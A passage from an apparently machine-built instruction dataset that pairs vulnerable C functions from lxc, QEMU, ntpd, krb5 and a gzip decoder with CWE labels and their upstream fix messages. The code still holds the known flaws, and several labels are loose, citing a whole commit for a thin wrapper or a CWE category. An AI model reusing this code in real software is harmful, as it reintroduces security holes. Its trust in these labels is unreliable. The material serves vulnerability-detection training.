(i.e. confinement of a root-owned container by the\nrestrictive apparmor policy, by diverting the required write to\n/proc/self/attr/current), or bypass the (path-based) apparmor policy\nby diverting, say, /proc to /mnt in the container.\n\nTo prevent this,\n\n1. do not allow mounts to paths containing symbolic links\n\n2. do not allow bind mounts from relative paths containing symbolic\nlinks.\n\nDetails:\n\nDefine safe_mount which ensures that the container has not inserted any\nsymbolic links into any mount targets for mounts to be done during\ncontainer setup.\n\nThe host's mount path may contain symbolic links. As it is under the\ncontrol of the administrator, that's ok. So safe_mount begins the check\nfor symbolic links after the rootfs->mount, by opening that directory.\n\nIt opens each directory along the path using openat() relative to the\nparent directory using O_NOFOLLOW. When the target is reached, it\nmounts onto /proc/self/fd/.\n\nUse safe_mount() in mount_entry(), when mounting container proc,\nand when needed. In particular, safe_mount() need not be used in\nany case where:\n\n1. the mount is done in the container's namespace\n2. the mount is for the container's rootfs\n3. the mount is relative to a tmpfs or proc/sysfs which we have\n just safe_mount()ed ourselves\n\nSince we were using proc/net as a temporary placeholder for /proc/sys/net\nduring container startup, and proc/net is a symbolic link, use proc/tty\ninstead.\n\nUpdate the lxc.container.conf manpage with details about the new\nrestrictions.\n\nFinally, add a testcase to test some symbolic link possibilities.\n\nReported-by: Roman Fiedler\nSigned-off-by: Serge Hallyn \nAcked-by: St\u00e9phane Graber '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static bool cgm_bind_dir(const char *root, const char *dirname)\n{\n\tnih_local char *cgpath = NULL;\n\n\t/* /sys should have been mounted by now */\n\tcgpath = NIH_MUST( nih_strdup(NULL, root) );\n\tNIH_MUST( nih_strcat(&cgpath, NULL, \"/sys/fs/cgroup\") );\n\n\tif (!dir_exists(cgpath)) {\n\t\tERROR(\"%s does not exist\", cgpath);\n\t\treturn false;\n\t}\n\n\t/* mount a tmpfs there so we can create subdirs */\n\tif (mount(\"cgroup\", cgpath, \"tmpfs\", 0, \"size=10000,mode=755\")) {\n\t\tSYSERROR(\"Failed to mount tmpfs at %s\", cgpath);\n\t\treturn false;\n\t}\n\tNIH_MUST( nih_strcat(&cgpath, NULL, \"/cgmanager\") );\n\n\tif (mkdir(cgpath, 0755) < 0) {\n\t\tSYSERROR(\"Failed to create %s\", cgpath);\n\t\treturn false;\n\t}\n\n\tif (mount(dirname, cgpath, \"none\", MS_BIND, 0)) {\n\t\tSYSERROR(\"Failed to bind mount %s to %s\", dirname, cgpath);\n\t\treturn false;\n\t}\n\n\treturn true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59', 'CWE-61'], 'message': 'CVE-2015-1335: Protect container mounts against symlinks\n\nWhen a container starts up, lxc sets up the container's inital fstree\nby doing a bunch of mounting, guided by the container configuration\nfile. The container config is owned by the admin or user on the host,\nso we do not try to guard against bad entries. However, since the\nmount target is in the container, it's possible that the container admin\ncould divert the mount with symbolic links. This could bypass proper\ncontainer startup (i.e. confinement of a root-owned container by the\nrestrictive apparmor policy, by diverting the required write to\n/proc/self/attr/current), or bypass the (path-based) apparmor policy\nby diverting, say, /proc to /mnt in the container.\n\nTo prevent this,\n\n1. do not allow mounts to paths containing symbolic links\n\n2. do not allow bind mounts from relative paths containing symbolic\nlinks.\n\nDetails:\n\nDefine safe_mount which ensures that the container has not inserted any\nsymbolic links into any mount targets for mounts to be done during\ncontainer setup.\n\nThe host's mount path may contain symbolic links. As it is under the\ncontrol of the administrator, that's ok. So safe_mount begins the check\nfor symbolic links after the rootfs->mount, by opening that directory.\n\nIt opens each directory along the path using openat() relative to the\nparent directory using O_NOFOLLOW. When the target is reached, it\nmounts onto /proc/self/fd/.\n\nUse safe_mount() in mount_entry(), when mounting container proc,\nand when needed. In particular, safe_mount() need not be used in\nany case where:\n\n1. the mount is done in the container's namespace\n2. the mount is for the container's rootfs\n3. the mount is relative to a tmpfs or proc/sysfs which we have\n just safe_mount()ed ourselves\n\nSince we were using proc/net as a temporary placeholder for /proc/sys/net\nduring container startup, and proc/net is a symbolic link, use proc/tty\ninstead.\n\nUpdate the lxc.container.conf manpage with details about the new\nrestrictions.\n\nFinally, add a testcase to test some symbolic link possibilities.\n\nReported-by: Roman Fiedler\nSigned-off-by: Serge Hallyn \nAcked-by: St\u00e9phane Graber '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static bool vmxnet_tx_pkt_parse_headers(struct VmxnetTxPkt *pkt)\n{\n struct iovec *l2_hdr, *l3_hdr;\n size_t bytes_read;\n size_t full_ip6hdr_len;\n uint16_t l3_proto;\n\n assert(pkt);\n\n l2_hdr = &pkt->vec[VMXNET_TX_PKT_L2HDR_FRAG];\n l3_hdr = &pkt->vec[VMXNET_TX_PKT_L3HDR_FRAG];\n\n bytes_read = iov_to_buf(pkt->raw, pkt->raw_frags, 0, l2_hdr->iov_base,\n ETH_MAX_L2_HDR_LEN);\n if (bytes_read < ETH_MAX_L2_HDR_LEN) {\n l2_hdr->iov_len = 0;\n return false;\n } else {\n l2_hdr->iov_len = eth_get_l2_hdr_length(l2_hdr->iov_base);\n }\n\n l3_proto = eth_get_l3_proto(l2_hdr->iov_base, l2_hdr->iov_len);\n\n switch (l3_proto) {\n case ETH_P_IP:\n l3_hdr->iov_base = g_malloc(ETH_MAX_IP4_HDR_LEN);\n\n bytes_read = iov_to_buf(pkt->raw, pkt->raw_frags, l2_hdr->iov_len,\n l3_hdr->iov_base, sizeof(struct ip_header));\n\n if (bytes_read < sizeof(struct ip_header)) {\n l3_hdr->iov_len = 0;\n return false;\n }\n\n l3_hdr->iov_len = IP_HDR_GET_LEN(l3_hdr->iov_base);\n pkt->l4proto = ((struct ip_header *) l3_hdr->iov_base)->ip_p;\n\n /* copy optional IPv4 header data */\n bytes_read = iov_to_buf(pkt->raw, pkt->raw_frags,\n l2_hdr->iov_len + sizeof(struct ip_header),\n l3_hdr->iov_base + sizeof(struct ip_header),\n l3_hdr->iov_len - sizeof(struct ip_header));\n if (bytes_read < l3_hdr->iov_len - sizeof(struct ip_header)) {\n l3_hdr->iov_len = 0;\n return false;\n }\n break;\n\n case ETH_P_IPV6:\n if (!eth_parse_ipv6_hdr(pkt->raw, pkt->raw_frags, l2_hdr->iov_len,\n &pkt->l4proto, &full_ip6hdr_len)) {\n l3_hdr->iov_len = 0;\n return false;\n }\n\n l3_hdr->iov_base = g_malloc(full_ip6hdr_len);\n\n bytes_read = iov_to_buf(pkt->raw, pkt->raw_frags, l2_hdr->iov_len,\n l3_hdr->iov_base, full_ip6hdr_len);\n\n if (bytes_read < full_ip6hdr_len) {\n l3_hdr->iov_len = 0;\n return false;\n } else {\n l3_hdr->iov_len = full_ip6hdr_len;\n }\n break;\n\n default:\n l3_hdr->iov_len = 0;\n break;\n }\n\n vmxnet_tx_pkt_calculate_hdr_len(pkt);\n pkt->packet_type = get_eth_packet_type(l2_hdr->iov_base);\n return true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'net/vmxnet3: Refine l2 header validation\n\nValidation of l2 header length assumed minimal packet size as\neth_header + 2 * vlan_header regardless of the actual protocol.\n\nThis caused crash for valid non-IP packets shorter than 22 bytes, as\n'tx_pkt->packet_type' hasn't been assigned for such packets, and\n'vmxnet3_on_tx_done_update_stats()' expects it to be properly set.\n\nRefine header length validation in 'vmxnet_tx_pkt_parse_headers'.\nCheck its return value during packet processing flow.\n\nAs a side effect, in case IPv4 and IPv6 header validation failure,\ncorrupt packets will be dropped.\n\nSigned-off-by: Dana Rubin \nSigned-off-by: Shmulik Ladkani \nSigned-off-by: Jason Wang '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: crypto_bob2(\n\tstruct exten *ep,\t/* extension pointer */\n\tstruct value *vp\t/* value pointer */\n\t)\n{\n\tRSA\t*rsa;\t\t/* GQ parameters */\n\tDSA_SIG\t*sdsa;\t\t/* DSA parameters */\n\tBN_CTX\t*bctx;\t\t/* BIGNUM context */\n\tEVP_MD_CTX ctx;\t\t/* signature context */\n\ttstamp_t tstamp;\t/* NTP timestamp */\n\tBIGNUM\t*r, *k, *g, *y;\n\tu_char\t*ptr;\n\tu_int\tlen;\n\tint\ts_len;\n\n\t/*\n\t * If the GQ parameters are not valid, something awful\n\t * happened or we are being tormented.\n\t */\n\tif (gqkey_info == NULL) {\n\t\tmsyslog(LOG_NOTICE, \"crypto_bob2: scheme unavailable\");\n\t\treturn (XEVNT_ID);\n\t}\n\trsa = gqkey_info->pkey->pkey.rsa;\n\n\t/*\n\t * Extract r from the challenge.\n\t */\n\tlen = ntohl(ep->vallen);\n\tif ((r = BN_bin2bn((u_char *)ep->pkt, len, NULL)) == NULL) {\n\t\tmsyslog(LOG_ERR, \"crypto_bob2: %s\",\n\t\t ERR_error_string(ERR_get_error(), NULL));\n\t\treturn (XEVNT_ERR);\n\t}\n\n\t/*\n\t * Bob rolls random k (0 < k < n), computes y = k u^r mod n and\n\t * x = k^b mod n, then sends (y, hash(x)) to Alice. \n\t */\n\tbctx = BN_CTX_new(); k = BN_new(); g = BN_new(); y = BN_new();\n\tsdsa = DSA_SIG_new();\n\tBN_rand(k, len * 8, -1, 1);\t\t/* k */\n\tBN_mod(k, k, rsa->n, bctx);\n\tBN_mod_exp(y, rsa->p, r, rsa->n, bctx); /* u^r mod n */\n\tBN_mod_mul(y, k, y, rsa->n, bctx);\t/* k u^r mod n */\n\tsdsa->r = BN_dup(y);\n\tBN_mod_exp(g, k, rsa->e, rsa->n, bctx); /* k^b mod n */\n\tbighash(g, g);\n\tsdsa->s = BN_dup(g);\n\tBN_CTX_free(bctx);\n\tBN_free(r); BN_free(k); BN_free(g); BN_free(y);\n#ifdef DEBUG\n\tif (debug > 1)\n\t\tRSA_print_fp(stdout, rsa, 0);\n#endif\n \n\t/*\n\t * Encode the values in ASN.1 and sign. The filestamp is from\n\t * the local file.\n\t */\n\tlen = s_len = i2d_DSA_SIG(sdsa, NULL);\n\tif (s_len <= 0) {\n\t\tmsyslog(LOG_ERR, \"crypto_bob2: %s\",\n\t\t ERR_error_string(ERR_get_error(), NULL));\n\t\tDSA_SIG_free(sdsa);\n\t\treturn (XEVNT_ERR);\n\t}\n\tmemset(vp, 0, sizeof(struct value));\n\ttstamp = crypto_time();\n\tvp->tstamp = htonl(tstamp);\n\tvp->fstamp = htonl(gqkey_info->fstamp);\n\tvp->vallen = htonl(len);\n\tptr = emalloc(len);\n\tvp->ptr = ptr;\n\ti2d_DSA_SIG(sdsa, &ptr);\n\tDSA_SIG_free(sdsa);\n\tif (tstamp == 0)\n\t\treturn (XEVNT_OK);\n\n\tvp->sig = emalloc(sign_siglen);\n\tEVP_SignInit(&ctx, sign_digest);\n\tEVP_SignUpdate(&ctx, (u_char *)&vp->tstamp, 12);\n\tEVP_SignUpdate(&ctx, vp->ptr, len);\n\tif (EVP_SignFinal(&ctx, vp->sig, &len, sign_pkey)) {\n\t\tINSIST(len <= sign_siglen);\n\t\tvp->siglen = htonl(len);\n\t}\n\treturn (XEVNT_OK);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'CVE-2014-9297'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: save_config(\n\tstruct recvbuf *rbufp,\n\tint restrict_mask\n\t)\n{\n\tchar reply[128];\n#ifdef SAVECONFIG\n\tchar filespec[128];\n\tchar filename[128];\n\tchar fullpath[512];\n\tconst char savedconfig_eq[] = \"savedconfig=\";\n\tchar savedconfig[sizeof(savedconfig_eq) + sizeof(filename)];\n\ttime_t now;\n\tint fd;\n\tFILE *fptr;\n#endif\n\n\tif (RES_NOMODIFY & restrict_mask) {\n\t\tsnprintf(reply, sizeof(reply),\n\t\t\t \"saveconfig prohibited by restrict ... nomodify\");\n\t\tctl_putdata(reply, strlen(reply), 0);\n\t\tctl_flushpkt(0);\n\t\tNLOG(NLOG_SYSINFO)\n\t\t\tmsyslog(LOG_NOTICE,\n\t\t\t\t\"saveconfig from %s rejected due to nomodify restriction\",\n\t\t\t\tstoa(&rbufp->recv_srcadr));\n\t\tsys_restricted++;\n\t\treturn;\n\t}\n\n#ifdef SAVECONFIG\n\tif (NULL == saveconfigdir) {\n\t\tsnprintf(reply, sizeof(reply),\n\t\t\t \"saveconfig prohibited, no saveconfigdir configured\");\n\t\tctl_putdata(reply, strlen(reply), 0);\n\t\tctl_flushpkt(0);\n\t\tNLOG(NLOG_SYSINFO)\n\t\t\tmsyslog(LOG_NOTICE,\n\t\t\t\t\"saveconfig from %s rejected, no saveconfigdir\",\n\t\t\t\tstoa(&rbufp->recv_srcadr));\n\t\treturn;\n\t}\n\n\tif (0 == reqend - reqpt)\n\t\treturn;\n\n\tstrlcpy(filespec, reqpt, sizeof(filespec));\n\ttime(&now);\n\n\t/*\n\t * allow timestamping of the saved config filename with\n\t * strftime() format such as:\n\t * ntpq -c \"saveconfig ntp-%Y%m%d-%H%M%S.conf\"\n\t * XXX: Nice feature, but not too safe.\n\t */\n\tif (0 == strftime(filename, sizeof(filename), filespec,\n\t\t\t localtime(&now)))\n\t\tstrlcpy(filename, filespec, sizeof(filename));\n\n\t/*\n\t * Conceptually we should be searching for DIRSEP in filename,\n\t * however Windows actually recognizes both forward and\n\t * backslashes as equivalent directory separators at the API\n\t * level. On POSIX systems we could allow '\\\\' but such\n\t * filenames are tricky to manipulate from a shell, so just\n\t * reject both types of slashes on all platforms.\n\t */\n\tif (strchr(filename, '\\\\') || strchr(filename, '/')) {\n\t\tsnprintf(reply, sizeof(reply),\n\t\t\t \"saveconfig does not allow directory in filename\");\n\t\tctl_putdata(reply, strlen(reply), 0);\n\t\tctl_flushpkt(0);\n\t\tmsyslog(LOG_NOTICE,\n\t\t\t\"saveconfig with path from %s rejected\",\n\t\t\tstoa(&rbufp->recv_srcadr));\n\t\treturn;\n\t}\n\n\tsnprintf(fullpath, sizeof(fullpath), \"%s%s\",\n\t\t saveconfigdir, filename);\n\n\tfd = open(fullpath, O_CREAT | O_TRUNC | O_WRONLY,\n\t\t S_IRUSR | S_IWUSR);\n\tif (-1 == fd)\n\t\tfptr = NULL;\n\telse\n\t\tfptr = fdopen(fd, \"w\");\n\n\tif (NULL == fptr || -1 == dump_all_config_trees(fptr, 1)) {\n\t\tsnprintf(reply, sizeof(reply),\n\t\t\t \"Unable to save configuration to file %s\",\n\t\t\t filename);\n\t\tmsyslog(LOG_ERR,\n\t\t\t\"saveconfig %s from %s failed\", filename,\n\t\t\tstoa(&rbufp->recv_srcadr));\n\t} else {\n\t\tsnprintf(reply, sizeof(reply),\n\t\t\t \"Configuration saved to %s\", filename);\n\t\tmsyslog(LOG_NOTICE,\n\t\t\t\"Configuration saved to %s (requested by %s)\",\n\t\t\tfullpath, stoa(&rbufp->recv_srcadr));\n\t\t/*\n\t\t * save the output filename in system variable\n\t\t * savedconfig, retrieved with:\n\t\t * ntpq -c \"rv 0 savedconfig\"\n\t\t */\n\t\tsnprintf(savedconfig, sizeof(savedconfig), \"%s%s\",\n\t\t\t savedconfig_eq, filename);\n\t\tset_sys_var(savedconfig, strlen(savedconfig) + 1, RO);\n\t}\n\n\tif (NULL != fptr)\n\t\tfclose(fptr);\n#else\t/* !SAVECONFIG follows */\n\tsnprintf(reply, sizeof(reply),\n\t\t \"saveconfig unavailable, configured with --disable-saveconfig\");\n#endif\n\n\tctl_putdata(reply, strlen(reply), 0);\n\tctl_flushpkt(0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-22'], 'message': '[TALOS-CAN-0062] prevent directory traversal for VMS, too, when using 'saveconfig' command.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: build_principal_va(krb5_context context, krb5_principal princ,\n unsigned int rlen, const char *realm, va_list ap)\n{\n krb5_error_code retval = 0;\n char *r = NULL;\n krb5_data *data = NULL;\n krb5_int32 count = 0;\n krb5_int32 size = 2; /* initial guess at needed space */\n char *component = NULL;\n\n data = malloc(size * sizeof(krb5_data));\n if (!data) { retval = ENOMEM; }\n\n if (!retval) {\n r = strdup(realm);\n if (!r) { retval = ENOMEM; }\n }\n\n while (!retval && (component = va_arg(ap, char *))) {\n if (count == size) {\n krb5_data *new_data = NULL;\n\n size *= 2;\n new_data = realloc(data, size * sizeof(krb5_data));\n if (new_data) {\n data = new_data;\n } else {\n retval = ENOMEM;\n }\n }\n\n if (!retval) {\n data[count].length = strlen(component);\n data[count].data = strdup(component);\n if (!data[count].data) { retval = ENOMEM; }\n count++;\n }\n }\n\n if (!retval) {\n princ->type = KRB5_NT_UNKNOWN;\n princ->magic = KV5M_PRINCIPAL;\n princ->realm = make_data(r, rlen);\n princ->data = data;\n princ->length = count;\n r = NULL; /* take ownership */\n data = NULL; /* take ownership */\n }\n\n if (data) {\n while (--count >= 0) {\n free(data[count].data);\n }\n free(data);\n }\n free(r);\n\n return retval;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-125'], 'message': 'Fix build_principal memory bug [CVE-2015-2697]\n\nIn build_principal_va(), use k5memdup0() instead of strdup() to make a\ncopy of the realm, to ensure that we allocate the correct number of\nbytes and do not read past the end of the input string. This bug\naffects krb5_build_principal(), krb5_build_principal_va(), and\nkrb5_build_principal_alloc_va(). krb5_build_principal_ext() is not\naffected.\n\nCVE-2015-2697:\n\nIn MIT krb5 1.7 and later, an authenticated attacker may be able to\ncause a KDC to crash using a TGS request with a large realm field\nbeginning with a null byte. If the KDC attempts to find a referral to\nanswer the request, it constructs a principal name for lookup using\nkrb5_build_principal() with the requested realm. Due to a bug in this\nfunction, the null byte causes only one byte be allocated for the\nrealm field of the constructed principal, far less than its length.\nSubsequent operations on the lookup principal may cause a read beyond\nthe end of the mapped memory region, causing the KDC process to crash.\n\nCVSSv2: AV:N/AC:L/Au:S/C:N/I:N/A:C/E:POC/RL:OF/RC:C\n\nticket: 8252 (new)\ntarget_version: 1.14\ntags: pullup'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: spnego_gss_delete_sec_context(\n\t\t\t OM_uint32 *minor_status,\n\t\t\t gss_ctx_id_t *context_handle,\n\t\t\t gss_buffer_t output_token)\n{\n\tOM_uint32 ret = GSS_S_COMPLETE;\n\tspnego_gss_ctx_id_t *ctx =\n\t\t (spnego_gss_ctx_id_t *)context_handle;\n\n\t*minor_status = 0;\n\n\tif (context_handle == NULL)\n\t\treturn (GSS_S_FAILURE);\n\n\tif (*ctx == NULL)\n\t\treturn (GSS_S_COMPLETE);\n\n\t/*\n\t * If this is still an SPNEGO mech, release it locally.\n\t */\n\tif ((*ctx)->magic_num == SPNEGO_MAGIC_ID) {\n\t\t(void) gss_delete_sec_context(minor_status,\n\t\t\t\t &(*ctx)->ctx_handle,\n\t\t\t\t output_token);\n\t\t(void) release_spnego_ctx(ctx);\n\t} else {\n\t\tret = gss_delete_sec_context(minor_status,\n\t\t\t\t context_handle,\n\t\t\t\t output_token);\n\t}\n\n\treturn (ret);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-18', 'CWE-763'], 'message': 'Fix SPNEGO context aliasing bugs [CVE-2015-2695]\n\nThe SPNEGO mechanism currently replaces its context handle with the\nmechanism context handle upon establishment, under the assumption that\nmost GSS functions are only called after context establishment. This\nassumption is incorrect, and can lead to aliasing violations for some\nprograms. Maintain the SPNEGO context structure after context\nestablishment and refer to it in all GSS methods. Add initiate and\nopened flags to the SPNEGO context structure for use in\ngss_inquire_context() prior to context establishment.\n\nCVE-2015-2695:\n\nIn MIT krb5 1.5 and later, applications which call\ngss_inquire_context() on a partially-established SPNEGO context can\ncause the GSS-API library to read from a pointer using the wrong type,\ngenerally causing a process crash. This bug may go unnoticed, because\nthe most common SPNEGO authentication scenario establishes the context\nafter just one call to gss_accept_sec_context(). Java server\napplications using the native JGSS provider are vulnerable to this\nbug. A carefully crafted SPNEGO packet might allow the\ngss_inquire_context() call to succeed with attacker-determined\nresults, but applications should not make access control decisions\nbased on gss_inquire_context() results prior to context establishment.\n\n CVSSv2 Vector: AV:N/AC:M/Au:N/C:N/I:N/A:C/E:POC/RL:OF/RC:C\n\n[ghudson@mit.edu: several bugfixes, style changes, and edge-case\nbehavior changes; commit message and CVE description]\n\nticket: 8244\ntarget_version: 1.14\ntags: pullup'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: spnego_gss_unwrap_aead(OM_uint32 *minor_status,\n\t\t gss_ctx_id_t context_handle,\n\t\t gss_buffer_t input_message_buffer,\n\t\t gss_buffer_t input_assoc_buffer,\n\t\t gss_buffer_t output_payload_buffer,\n\t\t int *conf_state,\n\t\t gss_qop_t *qop_state)\n{\n\tOM_uint32 ret;\n\tret = gss_unwrap_aead(minor_status,\n\t\t\t context_handle,\n\t\t\t input_message_buffer,\n\t\t\t input_assoc_buffer,\n\t\t\t output_payload_buffer,\n\t\t\t conf_state,\n\t\t\t qop_state);\n\treturn (ret);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-18', 'CWE-763'], 'message': 'Fix SPNEGO context aliasing bugs [CVE-2015-2695]\n\nThe SPNEGO mechanism currently replaces its context handle with the\nmechanism context handle upon establishment, under the assumption that\nmost GSS functions are only called after context establishment. This\nassumption is incorrect, and can lead to aliasing violations for some\nprograms. Maintain the SPNEGO context structure after context\nestablishment and refer to it in all GSS methods. Add initiate and\nopened flags to the SPNEGO context structure for use in\ngss_inquire_context() prior to context establishment.\n\nCVE-2015-2695:\n\nIn MIT krb5 1.5 and later, applications which call\ngss_inquire_context() on a partially-established SPNEGO context can\ncause the GSS-API library to read from a pointer using the wrong type,\ngenerally causing a process crash. This bug may go unnoticed, because\nthe most common SPNEGO authentication scenario establishes the context\nafter just one call to gss_accept_sec_context(). Java server\napplications using the native JGSS provider are vulnerable to this\nbug. A carefully crafted SPNEGO packet might allow the\ngss_inquire_context() call to succeed with attacker-determined\nresults, but applications should not make access control decisions\nbased on gss_inquire_context() results prior to context establishment.\n\n CVSSv2 Vector: AV:N/AC:M/Au:N/C:N/I:N/A:C/E:POC/RL:OF/RC:C\n\n[ghudson@mit.edu: several bugfixes, style changes, and edge-case\nbehavior changes; commit message and CVE description]\n\nticket: 8244\ntarget_version: 1.14\ntags: pullup'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: spnego_gss_verify_mic(\n\t\tOM_uint32 *minor_status,\n\t\tconst gss_ctx_id_t context_handle,\n\t\tconst gss_buffer_t msg_buffer,\n\t\tconst gss_buffer_t token_buffer,\n\t\tgss_qop_t *qop_state)\n{\n\tOM_uint32 ret;\n\tret = gss_verify_mic(minor_status,\n\t\t\t context_handle,\n\t\t\t msg_buffer,\n\t\t\t token_buffer,\n\t\t\t qop_state);\n\treturn (ret);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-18', 'CWE-763'], 'message': 'Fix SPNEGO context aliasing bugs [CVE-2015-2695]\n\nThe SPNEGO mechanism currently replaces its context handle with the\nmechanism context handle upon establishment, under the assumption that\nmost GSS functions are only called after context establishment. This\nassumption is incorrect, and can lead to aliasing violations for some\nprograms. Maintain the SPNEGO context structure after context\nestablishment and refer to it in all GSS methods. Add initiate and\nopened flags to the SPNEGO context structure for use in\ngss_inquire_context() prior to context establishment.\n\nCVE-2015-2695:\n\nIn MIT krb5 1.5 and later, applications which call\ngss_inquire_context() on a partially-established SPNEGO context can\ncause the GSS-API library to read from a pointer using the wrong type,\ngenerally causing a process crash. This bug may go unnoticed, because\nthe most common SPNEGO authentication scenario establishes the context\nafter just one call to gss_accept_sec_context(). Java server\napplications using the native JGSS provider are vulnerable to this\nbug. A carefully crafted SPNEGO packet might allow the\ngss_inquire_context() call to succeed with attacker-determined\nresults, but applications should not make access control decisions\nbased on gss_inquire_context() results prior to context establishment.\n\n CVSSv2 Vector: AV:N/AC:M/Au:N/C:N/I:N/A:C/E:POC/RL:OF/RC:C\n\n[ghudson@mit.edu: several bugfixes, style changes, and edge-case\nbehavior changes; commit message and CVE description]\n\nticket: 8244\ntarget_version: 1.14\ntags: pullup'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int huft_build(const unsigned *b, const unsigned n,\n\t\t\tconst unsigned s, const unsigned short *d,\n\t\t\tconst unsigned char *e, huft_t **t, unsigned *m)\n{\n\tunsigned a; /* counter for codes of length k */\n\tunsigned c[BMAX + 1]; /* bit length count table */\n\tunsigned eob_len; /* length of end-of-block code (value 256) */\n\tunsigned f; /* i repeats in table every f entries */\n\tint g; /* maximum code length */\n\tint htl; /* table level */\n\tunsigned i; /* counter, current code */\n\tunsigned j; /* counter */\n\tint k; /* number of bits in current code */\n\tunsigned *p; /* pointer into c[], b[], or v[] */\n\thuft_t *q; /* points to current table */\n\thuft_t r; /* table entry for structure assignment */\n\thuft_t *u[BMAX]; /* table stack */\n\tunsigned v[N_MAX]; /* values in order of bit length */\n\tint ws[BMAX + 1]; /* bits decoded stack */\n\tint w; /* bits decoded */\n\tunsigned x[BMAX + 1]; /* bit offsets, then code stack */\n\tunsigned *xp; /* pointer into x */\n\tint y; /* number of dummy codes added */\n\tunsigned z; /* number of entries in current table */\n\n\t/* Length of EOB code, if any */\n\teob_len = n > 256 ? b[256] : BMAX;\n\n\t*t = NULL;\n\n\t/* Generate counts for each bit length */\n\tmemset(c, 0, sizeof(c));\n\tp = (unsigned *) b; /* cast allows us to reuse p for pointing to b */\n\ti = n;\n\tdo {\n\t\tc[*p]++; /* assume all entries <= BMAX */\n\t\tp++; /* can't combine with above line (Solaris bug) */\n\t} while (--i);\n\tif (c[0] == n) { /* null input - all zero length codes */\n\t\t*m = 0;\n\t\treturn 2;\n\t}\n\n\t/* Find minimum and maximum length, bound *m by those */\n\tfor (j = 1; (j <= BMAX) && (c[j] == 0); j++)\n\t\tcontinue;\n\tk = j; /* minimum code length */\n\tfor (i = BMAX; (c[i] == 0) && i; i--)\n\t\tcontinue;\n\tg = i; /* maximum code length */\n\t*m = (*m < j) ? j : ((*m > i) ? i : *m);\n\n\t/* Adjust last length count to fill out codes, if needed */\n\tfor (y = 1 << j; j < i; j++, y <<= 1) {\n\t\ty -= c[j];\n\t\tif (y < 0)\n\t\t\treturn 2; /* bad input: more codes than bits */\n\t}\n\ty -= c[i];\n\tif (y < 0)\n\t\treturn 2;\n\tc[i] += y;\n\n\t/* Generate starting offsets into the value table for each length */\n\tx[1] = j = 0;\n\tp = c + 1;\n\txp = x + 2;\n\twhile (--i) { /* note that i == g from above */\n\t\tj += *p++;\n\t\t*xp++ = j;\n\t}\n\n\t/* Make a table of values in order of bit lengths */\n\tp = (unsigned *) b;\n\ti = 0;\n\tdo {\n\t\tj = *p++;\n\t\tif (j != 0) {\n\t\t\tv[x[j]++] = i;\n\t\t}\n\t} while (++i < n);\n\n\t/* Generate the Huffman codes and for each, make the table entries */\n\tx[0] = i = 0; /* first Huffman code is zero */\n\tp = v; /* grab values in bit order */\n\thtl = -1; /* no tables yet--level -1 */\n\tw = ws[0] = 0; /* bits decoded */\n\tu[0] = NULL; /* just to keep compilers happy */\n\tq = NULL; /* ditto */\n\tz = 0; /* ditto */\n\n\t/* go through the bit lengths (k already is bits in shortest code) */\n\tfor (; k <= g; k++) {\n\t\ta = c[k];\n\t\twhile (a--) {\n\t\t\t/* here i is the Huffman code of length k bits for value *p */\n\t\t\t/* make tables up to required level */\n\t\t\twhile (k > ws[htl + 1]) {\n\t\t\t\tw = ws[++htl];\n\n\t\t\t\t/* compute minimum size table less than or equal to *m bits */\n\t\t\t\tz = g - w;\n\t\t\t\tz = z > *m ? *m : z; /* upper limit on table size */\n\t\t\t\tj = k - w;\n\t\t\t\tf = 1 << j;\n\t\t\t\tif (f > a + 1) { /* try a k-w bit table */\n\t\t\t\t\t/* too few codes for k-w bit table */\n\t\t\t\t\tf -= a + 1; /* deduct codes from patterns left */\n\t\t\t\t\txp = c + k;\n\t\t\t\t\twhile (++j < z) { /* try smaller tables up to z bits */\n\t\t\t\t\t\tf <<= 1;\n\t\t\t\t\t\tif (f <= *++xp) {\n\t\t\t\t\t\t\tbreak; /* enough codes to use up j bits */\n\t\t\t\t\t\t}\n\t\t\t\t\t\tf -= *xp; /* else deduct codes from patterns 